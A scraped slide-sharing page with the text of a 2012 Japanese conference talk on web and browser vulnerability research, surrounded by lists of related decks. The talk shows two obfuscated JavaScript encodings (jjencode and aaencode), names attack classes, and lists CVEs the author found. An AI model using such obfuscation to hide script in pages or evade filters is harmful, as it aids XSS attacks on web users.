インフラセキュリティブートキャンプ #seccampMasahiro NAKAYAMA
 
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みセキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みHiroshi Tokumaru
 
JavaScript.Next
JavaScript.NextJavaScript.Next
JavaScript.Nextdynamis
 
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)JPCERT Coordination Center
 
いまさら聞けないパスワードの取り扱い方
いまさら聞けないパスワードの取り扱い方いまさら聞けないパスワードの取り扱い方
いまさら聞けないパスワードの取り扱い方Hiroshi Tokumaru
 

What's hot (20)

徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
 
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクション
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
 
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
 
Cndt2021 casareal
Cndt2021 casarealCndt2021 casareal
Cndt2021 casareal
 
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門
 
Keycloak拡張入門
Keycloak拡張入門Keycloak拡張入門
Keycloak拡張入門
 
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
 
Webアプリでパスワード保護はどこまでやればいいか
Webアプリでパスワード保護はどこまでやればいいかWebアプリでパスワード保護はどこまでやればいいか
Webアプリでパスワード保護はどこまでやればいいか
 
文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?
 
セキュアなソフトウェアアーキテクチャー
セキュアなソフトウェアアーキテクチャーセキュアなソフトウェアアーキテクチャー
セキュアなソフトウェアアーキテクチャー
 
クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策クロスサイトリクエストフォージェリ(CSRF)とその対策
クロスサイトリクエストフォージェリ(CSRF)とその対策
 
今日こそわかる、安全なWebアプリの作り方2010
今日こそわかる、安全なWebアプリの作り方2010今日こそわかる、安全なWebアプリの作り方2010
今日こそわかる、安全なWebアプリの作り方2010
 
安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016
 
インフラセキュリティブートキャンプ #seccamp
インフラセキュリティブートキャンプ #seccampインフラセキュリティブートキャンプ #seccamp
インフラセキュリティブートキャンプ #seccamp
 
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試みセキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試み
 
JavaScript.Next
JavaScript.NextJavaScript.Next
JavaScript.Next
 
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
脆弱性事例に学ぶセキュアコーディング「SSL/TLS証明書検証」編 (JavaDayTokyo2015)
 
いまさら聞けないパスワードの取り扱い方
いまさら聞けないパスワードの取り扱い方いまさら聞けないパスワードの取り扱い方
いまさら聞けないパスワードの取り扱い方
 

Viewers also liked

【16-D-1】UI のこれまでの10年とこれから
【16-D-1】UI のこれまでの10年とこれから【16-D-1】UI のこれまでの10年とこれから
【16-D-1】UI のこれまでの10年とこれからKen Azuma
 
20120216 デブサミ 座談会
20120216 デブサミ 座談会20120216 デブサミ 座談会
20120216 デブサミ 座談会akihiro uehara
 
Startup groovy op
Startup groovy opStartup groovy op
Startup groovy opkyon mm
 
Startup groovysession1
Startup groovysession1Startup groovysession1
Startup groovysession1kyon mm
 
鼻メガネの会 Rush 3 hits combo
鼻メガネの会 Rush 3 hits combo鼻メガネの会 Rush 3 hits combo
鼻メガネの会 Rush 3 hits comboriskrisk
 
Project Facilitation From Hiranabe
Project Facilitation From HiranabeProject Facilitation From Hiranabe
Project Facilitation From HiranabeYasui Tsutomu
 
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(後半)
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(後半)デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(後半)
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(後半)hyoromo
 
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(前半)
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(前半)デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(前半)
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(前半)hyoromo
 
Japan Developer Summit (en) - Cloud Foundry, the Open Platform As A Service
Japan Developer Summit (en) - Cloud Foundry, the Open Platform As A ServiceJapan Developer Summit (en) - Cloud Foundry, the Open Platform As A Service
Japan Developer Summit (en) - Cloud Foundry, the Open Platform As A ServicePatrick Chanezon
 
【16-D-6】比べてわかるフィーチャーフォンとスマホのアプリ開発・運用のポイント
【16-D-6】比べてわかるフィーチャーフォンとスマホのアプリ開発・運用のポイント【16-D-6】比べてわかるフィーチャーフォンとスマホのアプリ開発・運用のポイント
【16-D-6】比べてわかるフィーチャーフォンとスマホのアプリ開発・運用のポイントDevelopers Summit
 
デブサミ2012 kintoneの表と裏 - 表編
デブサミ2012 kintoneの表と裏 - 表編デブサミ2012 kintoneの表と裏 - 表編
デブサミ2012 kintoneの表と裏 - 表編yo_waka
 
CouchDB JP Developers Dummit LT
CouchDB JP Developers Dummit LTCouchDB JP Developers Dummit LT
CouchDB JP Developers Dummit LTKoji Kawamura
 
2012.03.24 Agile Samurai Dojo Gathering 講演資料
2012.03.24 Agile Samurai Dojo Gathering 講演資料2012.03.24 Agile Samurai Dojo Gathering 講演資料
2012.03.24 Agile Samurai Dojo Gathering 講演資料Toshihiro Hirota
 
【16-C-4】次期Internet Explorer、IE10とHTML5 API
【16-C-4】次期Internet Explorer、IE10とHTML5 API【16-C-4】次期Internet Explorer、IE10とHTML5 API
【16-C-4】次期Internet Explorer、IE10とHTML5 APIMicrosoft
 
Agile Samurai Dojo Gathering
Agile Samurai Dojo GatheringAgile Samurai Dojo Gathering
Agile Samurai Dojo Gatheringirasally omuko
 
横浜道場紹介 第2版
横浜道場紹介 第2版横浜道場紹介 第2版
横浜道場紹介 第2版Takao Kimura
 
大規模化するピグライフを支えるインフラ ~MongoDBとChefについて~ (後編)
大規模化するピグライフを支えるインフラ ~MongoDBとChefについて~ (後編)大規模化するピグライフを支えるインフラ ~MongoDBとChefについて~ (後編)
大規模化するピグライフを支えるインフラ ~MongoDBとChefについて~ (後編)Yuuki Namikawa
 
Developers Summit 2012 16-E-1
Developers Summit 2012 16-E-1Developers Summit 2012 16-E-1
Developers Summit 2012 16-E-1Kohei Kumazawa
 

Viewers also liked (20)

【16-D-1】UI のこれまでの10年とこれから
【16-D-1】UI のこれまでの10年とこれから【16-D-1】UI のこれまでの10年とこれから
【16-D-1】UI のこれまでの10年とこれから
 
20120216 デブサミ 座談会
20120216 デブサミ 座談会20120216 デブサミ 座談会
20120216 デブサミ 座談会
 
Startup groovy op
Startup groovy opStartup groovy op
Startup groovy op
 
Startup groovysession1
Startup groovysession1Startup groovysession1
Startup groovysession1
 
埼玉道場
埼玉道場埼玉道場
埼玉道場
 
鼻メガネの会 Rush 3 hits combo
鼻メガネの会 Rush 3 hits combo鼻メガネの会 Rush 3 hits combo
鼻メガネの会 Rush 3 hits combo
 
Project Facilitation From Hiranabe
Project Facilitation From HiranabeProject Facilitation From Hiranabe
Project Facilitation From Hiranabe
 
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(後半)
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(後半)デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(後半)
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(後半)
 
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(前半)
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(前半)デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(前半)
デブサミ2012【16-D-7】「iOS, Android, Windows Phoneアプリを同時開発せよ!!!」(前半)
 
鼻メガネv2
鼻メガネv2鼻メガネv2
鼻メガネv2
 
Japan Developer Summit (en) - Cloud Foundry, the Open Platform As A Service
Japan Developer Summit (en) - Cloud Foundry, the Open Platform As A ServiceJapan Developer Summit (en) - Cloud Foundry, the Open Platform As A Service
Japan Developer Summit (en) - Cloud Foundry, the Open Platform As A Service
 
【16-D-6】比べてわかるフィーチャーフォンとスマホのアプリ開発・運用のポイント
【16-D-6】比べてわかるフィーチャーフォンとスマホのアプリ開発・運用のポイント【16-D-6】比べてわかるフィーチャーフォンとスマホのアプリ開発・運用のポイント
【16-D-6】比べてわかるフィーチャーフォンとスマホのアプリ開発・運用のポイント
 
デブサミ2012 kintoneの表と裏 - 表編
デブサミ2012 kintoneの表と裏 - 表編デブサミ2012 kintoneの表と裏 - 表編
デブサミ2012 kintoneの表と裏 - 表編
 
CouchDB JP Developers Dummit LT
CouchDB JP Developers Dummit LTCouchDB JP Developers Dummit LT
CouchDB JP Developers Dummit LT
 
2012.03.24 Agile Samurai Dojo Gathering 講演資料
2012.03.24 Agile Samurai Dojo Gathering 講演資料2012.03.24 Agile Samurai Dojo Gathering 講演資料
2012.03.24 Agile Samurai Dojo Gathering 講演資料
 
【16-C-4】次期Internet Explorer、IE10とHTML5 API
【16-C-4】次期Internet Explorer、IE10とHTML5 API【16-C-4】次期Internet Explorer、IE10とHTML5 API
【16-C-4】次期Internet Explorer、IE10とHTML5 API
 
Agile Samurai Dojo Gathering
Agile Samurai Dojo GatheringAgile Samurai Dojo Gathering
Agile Samurai Dojo Gathering
 
横浜道場紹介 第2版
横浜道場紹介 第2版横浜道場紹介 第2版
横浜道場紹介 第2版
 
大規模化するピグライフを支えるインフラ ~MongoDBとChefについて~ (後編)
大規模化するピグライフを支えるインフラ ~MongoDBとChefについて~ (後編)大規模化するピグライフを支えるインフラ ~MongoDBとChefについて~ (後編)
大規模化するピグライフを支えるインフラ ~MongoDBとChefについて~ (後編)
 
Developers Summit 2012 16-E-1
Developers Summit 2012 16-E-1Developers Summit 2012 16-E-1
Developers Summit 2012 16-E-1
 

Similar to [デブサミ2012]趣味と実益の脆弱性発見

Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/AndroidセキュアコーディングMasaki Kubo
 
スマートフォンアプリケーション開発の最新動向
スマートフォンアプリケーション開発の最新動向スマートフォンアプリケーション開発の最新動向
スマートフォンアプリケーション開発の最新動向Tsutomu Ogasawara
 
Windows 8 Developers カンファレンス
Windows 8 Developers カンファレンスWindows 8 Developers カンファレンス
Windows 8 Developers カンファレンスKaoru NAKAMURA
 
技術選択とアーキテクトの役割
技術選択とアーキテクトの役割技術選択とアーキテクトの役割
技術選択とアーキテクトの役割Toru Yamaguchi
 
CleanArchitecture with AssemblyDefinition in unity
CleanArchitecture with AssemblyDefinition in unityCleanArchitecture with AssemblyDefinition in unity
CleanArchitecture with AssemblyDefinition in unityNakanoYosuke1
 
Iss seminar 2010709#1-upload
Iss seminar 2010709#1-uploadIss seminar 2010709#1-upload
Iss seminar 2010709#1-uploadOpenwave Systems
 
TestFlight自動化でらくらくチームテスト
TestFlight自動化でらくらくチームテストTestFlight自動化でらくらくチームテスト
TestFlight自動化でらくらくチームテストYoichiro Sakurai
 
13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejs13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejsTakayoshi Tanaka
 
NPAPIを使ったandroid標準ブラウザの拡張方法
NPAPIを使ったandroid標準ブラウザの拡張方法NPAPIを使ったandroid標準ブラウザの拡張方法
NPAPIを使ったandroid標準ブラウザの拡張方法Naruto TAKAHASHI
 
20170809 AWS code series
20170809 AWS code series20170809 AWS code series
20170809 AWS code seriesAtsushi Fukui
 
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011Hiroh Satoh
 
[使い倒し]GitHubのIssueとTFS/VSOのWorkItem連動に挑む(2015/08/26)
[使い倒し]GitHubのIssueとTFS/VSOのWorkItem連動に挑む(2015/08/26)[使い倒し]GitHubのIssueとTFS/VSOのWorkItem連動に挑む(2015/08/26)
[使い倒し]GitHubのIssueとTFS/VSOのWorkItem連動に挑む(2015/08/26)Masanori Ishigami
 
【de:code 2020】 「あつまれ フロントエンドエンジニア」 Azure Static Web Apps がやってきた
【de:code 2020】 「あつまれ フロントエンドエンジニア」 Azure Static Web Apps がやってきた【de:code 2020】 「あつまれ フロントエンドエンジニア」 Azure Static Web Apps がやってきた
【de:code 2020】 「あつまれ フロントエンドエンジニア」 Azure Static Web Apps がやってきた日本マイクロソフト株式会社
 
5分でわかる!ownCloudアドオンの作り方
5分でわかる!ownCloudアドオンの作り方5分でわかる!ownCloudアドオンの作り方
5分でわかる!ownCloudアドオンの作り方Yuki Takahashi
 
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性JPCERT Coordination Center
 
ライブコーディングとデモで理解するWebセキュリティの基礎
ライブコーディングとデモで理解するWebセキュリティの基礎ライブコーディングとデモで理解するWebセキュリティの基礎
ライブコーディングとデモで理解するWebセキュリティの基礎Takahisa Kishiya
 
jQuery と MVC で実践する標準志向 Web 開発
jQuery と MVC で実践する標準志向 Web 開発jQuery と MVC で実践する標準志向 Web 開発
jQuery と MVC で実践する標準志向 Web 開発Akira Inoue
 
Webフロントエンド開発の最新トレンド - HTML5, モバイル, オフライン
Webフロントエンド開発の最新トレンド - HTML5, モバイル, オフラインWebフロントエンド開発の最新トレンド - HTML5, モバイル, オフライン
Webフロントエンド開発の最新トレンド - HTML5, モバイル, オフラインShumpei Shiraishi
 

Similar to [デブサミ2012]趣味と実益の脆弱性発見 (20)

Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/Androidセキュアコーディング
 
スマートフォンアプリケーション開発の最新動向
スマートフォンアプリケーション開発の最新動向スマートフォンアプリケーション開発の最新動向
スマートフォンアプリケーション開発の最新動向
 
20120118 titanium
20120118 titanium20120118 titanium
20120118 titanium
 
Windows 8 Developers カンファレンス
Windows 8 Developers カンファレンスWindows 8 Developers カンファレンス
Windows 8 Developers カンファレンス
 
技術選択とアーキテクトの役割
技術選択とアーキテクトの役割技術選択とアーキテクトの役割
技術選択とアーキテクトの役割
 
Webに今求められているレベル: HTML5 コントロールを利用した開発
Webに今求められているレベル: HTML5 コントロールを利用した開発Webに今求められているレベル: HTML5 コントロールを利用した開発
Webに今求められているレベル: HTML5 コントロールを利用した開発
 
CleanArchitecture with AssemblyDefinition in unity
CleanArchitecture with AssemblyDefinition in unityCleanArchitecture with AssemblyDefinition in unity
CleanArchitecture with AssemblyDefinition in unity
 
Iss seminar 2010709#1-upload
Iss seminar 2010709#1-uploadIss seminar 2010709#1-upload
Iss seminar 2010709#1-upload
 
TestFlight自動化でらくらくチームテスト
TestFlight自動化でらくらくチームテストTestFlight自動化でらくらくチームテスト
TestFlight自動化でらくらくチームテスト
 
13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejs13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejs
 
NPAPIを使ったandroid標準ブラウザの拡張方法
NPAPIを使ったandroid標準ブラウザの拡張方法NPAPIを使ったandroid標準ブラウザの拡張方法
NPAPIを使ったandroid標準ブラウザの拡張方法
 
20170809 AWS code series
20170809 AWS code series20170809 AWS code series
20170809 AWS code series
 
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
 
[使い倒し]GitHubのIssueとTFS/VSOのWorkItem連動に挑む(2015/08/26)
[使い倒し]GitHubのIssueとTFS/VSOのWorkItem連動に挑む(2015/08/26)[使い倒し]GitHubのIssueとTFS/VSOのWorkItem連動に挑む(2015/08/26)
[使い倒し]GitHubのIssueとTFS/VSOのWorkItem連動に挑む(2015/08/26)
 
【de:code 2020】 「あつまれ フロントエンドエンジニア」 Azure Static Web Apps がやってきた
【de:code 2020】 「あつまれ フロントエンドエンジニア」 Azure Static Web Apps がやってきた【de:code 2020】 「あつまれ フロントエンドエンジニア」 Azure Static Web Apps がやってきた
【de:code 2020】 「あつまれ フロントエンドエンジニア」 Azure Static Web Apps がやってきた
 
5分でわかる!ownCloudアドオンの作り方
5分でわかる!ownCloudアドオンの作り方5分でわかる!ownCloudアドオンの作り方
5分でわかる!ownCloudアドオンの作り方
 
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
 
ライブコーディングとデモで理解するWebセキュリティの基礎
ライブコーディングとデモで理解するWebセキュリティの基礎ライブコーディングとデモで理解するWebセキュリティの基礎
ライブコーディングとデモで理解するWebセキュリティの基礎
 
jQuery と MVC で実践する標準志向 Web 開発
jQuery と MVC で実践する標準志向 Web 開発jQuery と MVC で実践する標準志向 Web 開発
jQuery と MVC で実践する標準志向 Web 開発
 
Webフロントエンド開発の最新トレンド - HTML5, モバイル, オフライン
Webフロントエンド開発の最新トレンド - HTML5, モバイル, オフラインWebフロントエンド開発の最新トレンド - HTML5, モバイル, オフライン
Webフロントエンド開発の最新トレンド - HTML5, モバイル, オフライン
 

[デブサミ2012]趣味と実益の脆弱性発見

  • 1. Finding Vulnerabilities For Fun And Profit 趣味と実益の脆弱性発見 Feb 16 2012 Yosuke HASEGAWA
  • 2. 自己紹介 はせがわようすけ ネットエージェント株式会社 研究開発部 株式会社セキュアスカイ・テクノロジー 技術顧問 Microsoft MVP for Consumer Security Oct 2005 - http://utf-8.jp/ 難読化JavaScript書いてます Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 4. 記号JavaScript JS without alnum $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:+ +$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$_ _:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$} ;$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$ ])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($. _=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$ ._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"¥" "+$.$_$_+(![]+"")[$._$_]+$.$$$_+"¥¥"+$.__$+$.$$_+$._$_+$.__+"(¥¥ ¥"¥¥"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$ ._$+",¥¥"+$.$__+$.___+"¥¥"+$.__$+$.__$+$._$_+$.$_$_+"¥¥"+$.__$+$ .$$_+$.$$_+$.$_$_+"¥¥"+$.__$+$._$_+$._$$+$.$$__+"¥¥"+$.__$+$.$$_ +$._$_+"¥¥"+$.__$+$.$_$+$.__$+"¥¥"+$.__$+$.$$_+$.___+$.__+"¥¥¥"¥ ¥"+$.$__+$.___+")"+"¥"")())(); jjencode - http://utf-8.jp/public/jjencode.html
  • 5. 顔文字JavaScript JS with emoticons ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o - (゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+ ((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='¥¥'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='¥"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚) [゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚) [゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚) [゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚) [゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); aaencode - http://utf-8.jp/public/aaencode.html
  • 7. 質問 : Web技術、好きですか? Q. Do you love web technologies?
  • 8. クロスサイトスクリプティング 強制ブラウズ 書式文字列攻撃 リモートファイルインクルード SQLインジェクション LDAPインジェクション パストラバーサル バッファオーバーフロー CSRF セッションハイジャック 質問 : Web技術、好きですか? Q. Do you love web technologies? OSコマンドインジェクション セッション固定攻撃 オープンリダイレクタ DoS HTTPレスポンス分割 メモリリーク XPathインジェクション HTTPヘッダインジェクション
  • 9. Web技術、好きですか? 危険だらけのWeb技術が「好き」な人: かなり打たれ強い or 攻撃者 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 11. 今日のおはなし これまでに調べた脆弱性の紹介 ブラウザの知られていないような機能を 用いた攻撃 Webの標準仕様を組み合わせて発生する 脆弱性 なぜ脆弱性を探すのか 他の人にできないことをする 10年後も世界で通じるエンジニアで あるために Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 13. これまでに調べた脆弱性 Webブラウザ、Webアプリケーションを中 心にいろいろ…  CVE-2007-0995 XSS of Mozilla Firefox  CVE-2007-1262 XSS of SquirrelMail  CVE-2007-2227 XSS of Internet Explorer  CVE-2008-0416 XSS of Mozilla Firefox  CVE-2008-1468 XSS of Namazu  CVE-2008-5808 XSS of Movable Type  CVE-2010-1213 Cross-origin data disclosure of Mozilla Firefox  CVE-2010-3348 Cross-origin data disclosure of Internet Explorer  CVE-2010-3770 XSS of Mozilla Firefox  CVE-2011-1339 XSS of Google Search Appliance  CVE-2011-3384 XSS of Sage  CVE-2011-3648 XSS of Mozilla Firefox ... Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 14. これまでに調べた脆弱性 一般的なWebアプリケーションの検査 Webアプリケーション側を調査 XSS、SQLインジェクション、etc... エスケープ漏れ、アプリの仕様間違いなどを 丹念に探す 効率性、網羅性が必要 Developers Summit 2012 NetAgent http://www.netagent.co.jp/
  • 15. これまでに調べた脆弱性 Webブラウザ側の脆弱性 ブラウザの知られていないような機能を用い た攻撃 Webの標準仕様を組み合わせて発生する脆弱 性 新しい脆弱性を「創り出す」ことができる Developers Summit 2012 NetAgent http://www.netagent.co.jp/
